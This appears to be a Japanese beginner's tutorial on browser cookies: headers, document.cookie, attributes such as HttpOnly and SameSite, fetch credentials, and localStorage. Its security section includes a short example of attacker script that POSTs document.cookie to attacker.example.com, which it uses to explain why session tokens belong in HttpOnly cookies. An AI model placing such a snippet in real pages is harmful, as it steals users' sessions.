Cookie は「ブラウザが自動で持ち運んでくれる小さなメモ」
まずイメージからいきます。
Cookie は、「ブラウザがサーバーとの間で自動的に持ち運んでくれる小さなメモ」 です。
サーバーが「このユーザーにはこれを覚えておいて」とブラウザに渡す
ブラウザはそのドメインにアクセスするたびに、そのメモを自動で一緒に送る
これによって、
ログイン状態を維持する
言語設定や地域設定を覚えておく
簡単なトラッキングをする
といったことが実現されています。
JavaScript からも Cookie を触れますが、
「どこまでできるか」「何が危険か」をちゃんと理解しておくことが大事です。
Cookie が実際にどうやり取りされているか
サーバー → ブラウザ:Set-Cookie ヘッダー
サーバーは、レスポンスヘッダーで Cookie を渡します。
Set-Cookie: sessionId=abc123; Path=/; HttpOnly; Secure
ブラウザはこれを受け取ると、
そのドメイン用の Cookie として保存します。
以後、そのドメインにリクエストを送るとき、
ブラウザは自動的にこういうヘッダーを付けます。
Cookie: sessionId=abc123
ここが重要で、
「JavaScript が送っている」のではなく「ブラウザが自動で付けている」 という点です。
ブラウザ → サーバー:Cookie ヘッダー
fetch しようが <img> だろうが、
同じオリジンへのリクエストであれば、
条件を満たす Cookie は自動的に付いていきます。
これによって、
「このリクエストは、さっきログインしたあのユーザーのものだ」
とサーバーが判断できるわけです。
JavaScript からの Cookie の基本操作
document.cookie で「文字列として」扱う
JavaScript から Cookie を触るときの入り口は document.cookie です。
console.log(document.cookie);
JavaScript例えば、こんな文字列が返ってきます。
theme=dark; loggedIn=true
ここで注意してほしいのは、document.cookie は「全部まとめた 1 本の文字列」 だということです。
オブジェクトでも配列でもありません。
Cookie をセットする(書き込む)
Cookie をセットするときも、document.cookie に文字列を書き込みます。
document.cookie = "theme=dark";
JavaScriptこれで theme=dark という Cookie が追加されます。
有効期限やパスなども一緒に指定できます。
document.cookie = "theme=dark; Max-Age=86400; Path=/";
JavaScriptMax-Age=86400 は「この Cookie は 86400 秒(1 日)有効」という意味です。Path=/ は「サイト全体でこの Cookie を送る」という指定です。
Cookie を読む(パースする)
document.cookie はただの文字列なので、
自分でパースする必要があります。
function getCookie(name) {
const pairs = document.cookie.split(";");
for (const pair of pairs) {
const [key, value] = pair.trim().split("=");
if (key === name) {
return value;
}
}
return null;
}
const theme = getCookie("theme");
console.log(theme); // "dark" など
JavaScriptここでのポイントは、
document.cookie は "key=value; key2=value2" という形式; で分割して、= でさらに分割する
という素朴な処理で十分なことが多い、ということです。
Cookie の属性(オプション)がめちゃくちゃ重要
有効期限:Max-Age / Expires
Cookie には「いつまで有効か」を指定できます。
Max-Age=秒数
今から何秒後まで有効か。
Expires=日時
特定の日時まで有効か。
例えば、1 日だけ有効な Cookie をセットするならこうです。
document.cookie = "theme=dark; Max-Age=86400; Path=/";
JavaScriptMax-Age や Expires を付けないと、
その Cookie は「セッション Cookie」になり、
ブラウザを閉じると消えます。
Path / Domain:どのパス・どのサブドメインで送るか
Path は「どのパスに対するリクエストで Cookie を送るか」を決めます。
document.cookie = "theme=dark; Path=/";
JavaScriptPath=/ なら、そのドメイン内のすべてのパスで送られます。
Path=/app とすると、/app 以下のパスにだけ送られます。
Domain は「どのサブドメインまで含めるか」を決めます。
通常はサーバー側で設定しますが、example.com に対して .example.com を指定すると、api.example.com などでも送られるようになります。
Secure / HttpOnly / SameSite:セキュリティ系の属性
ここが Cookie の世界で一番重要な部分です。
Secure
HTTPS のときだけ送る。
HTTP では送られないので、盗聴リスクを減らせる。
HttpOnly
JavaScript から document.cookie で読めなくなる。
XSS で盗まれにくくなる。
SameSite
「他サイトからのリクエストに Cookie を付けるかどうか」を制御する。
CSRF 対策に関わる。
例えば、セッション Cookie にはこういう属性がよく付きます。
Set-Cookie: sessionId=abc123; Path=/; Secure; HttpOnly; SameSite=Lax
JavaScript からはこの Cookie を読めません(HttpOnly のため)。
でも、ブラウザはサーバーへのリクエストに自動で付けてくれます。
fetch と Cookie の関係
同一オリジンなら基本的に自動で付く
同じオリジンに対して fetch する場合、
そのオリジン用の Cookie は自動的に送られます。
// ページが https://example.com 上で動いているとする
const res = await fetch("/api/me");
JavaScriptこのとき、/api/me へのリクエストには、example.com 用の Cookie が付いていきます。
ログインセッションなどは、この仕組みで維持されます。
クロスオリジンで Cookie を送りたい場合(credentials)
別オリジン(例: https://frontend.example.com → https://api.example.com)に
Cookie を付けてリクエストしたい場合は、fetch 側で明示的に指定が必要です。
const res = await fetch("https://api.example.com/me", {
credentials: "include",
});
JavaScriptcredentials: "include" を付けると、
クロスオリジンでも Cookie を送るようになります。
ただし、その場合はサーバー側の CORS 設定も、
Access-Control-Allow-Credentials: trueAccess-Control-Allow-Origin に * ではなく具体的なオリジン
など、慎重な設定が必要になります。
セキュリティの観点から見た「Cookie の扱い方」
JavaScript から触れる Cookie は「盗まれうる」と思え
document.cookie で読める Cookie は、
XSS が起きた瞬間に攻撃者からも読めます。
// 攻撃者のスクリプトのイメージ
fetch("https://attacker.example.com/steal", {
method: "POST",
body: document.cookie,
});
JavaScriptだからこそ、
本物のセッショントークン
認証に直結する機密情報
のようなものは、
HttpOnly Cookie にして JavaScript から触れないようにする のが基本です。
JavaScript から触る Cookie は、
「盗まれても致命傷にならないもの」に限定するのが安全です。
localStorage と Cookie の役割の違いを意識する
localStorage
JavaScript から自由に読める
サーバーには自動送信されない
容量は Cookie より大きい
Cookie
サーバーに自動で送られる
サイズはかなり小さい(1 Cookie あたり数 KB 程度)
属性(Secure / HttpOnly / SameSite)でセキュリティ制御ができる
「サーバーに毎回自動で送ってほしい情報」
→ Cookie 向き
「クライアント側だけで持っておきたい情報」
→ localStorage / sessionStorage 向き
という役割分担を意識できると、設計がきれいになります。
具体例:テーマ設定は Cookie でも localStorage でも書ける
Cookie でテーマを保存する例
function setTheme(theme) {
document.cookie = `theme=${theme}; Max-Age=31536000; Path=/`;
}
function getTheme() {
const pairs = document.cookie.split(";");
for (const pair of pairs) {
const [key, value] = pair.trim().split("=");
if (key === "theme") return value;
}
return null;
}
JavaScriptこれで、サーバー側も Cookie: theme=dark を見て、
初期 HTML をダークテーマで返す、などができます。
localStorage でテーマを保存する例
function setTheme(theme) {
localStorage.setItem("theme", theme);
}
function getTheme() {
return localStorage.getItem("theme");
}
JavaScriptこちらはサーバーには自動送信されません。
クライアント側だけで完結する設定です。
どちらを選ぶかは、
サーバー側でもその情報を使いたいか
初回リクエストの時点でその情報が必要か
といった観点で決めます。
初心者として Cookie で本当に押さえておいてほしいこと
Cookie は「ブラウザがサーバーと自動でやり取りする小さなメモ」
サーバーは Set-Cookie で渡し、ブラウザは Cookie ヘッダーで返す
JavaScript からは document.cookie で文字列として読んだり書いたりする
属性(Max-Age / Path / Secure / HttpOnly / SameSite)がセキュリティと挙動を決める
セッション用の重要な Cookie は HttpOnly にして JS から触れないようにするfetch でクロスオリジンに Cookie を送りたいときは credentials: "include" と CORS 設定がセット
おすすめの小さな練習は、
自分の開発用サーバーで Set-Cookie を返してみる
ブラウザの「Application」タブで Cookie がどう見えるか確認するdocument.cookie で読んでみるSecure や HttpOnly を付けたり外したりして挙動の違いを見る
という流れです。
Cookie は「なんか怖そう」で避けられがちですが、
仕組みを一度ちゃんと理解すると、
「サーバーとブラウザの関係を支える、かなり賢いメモ帳」 に見えてきます。
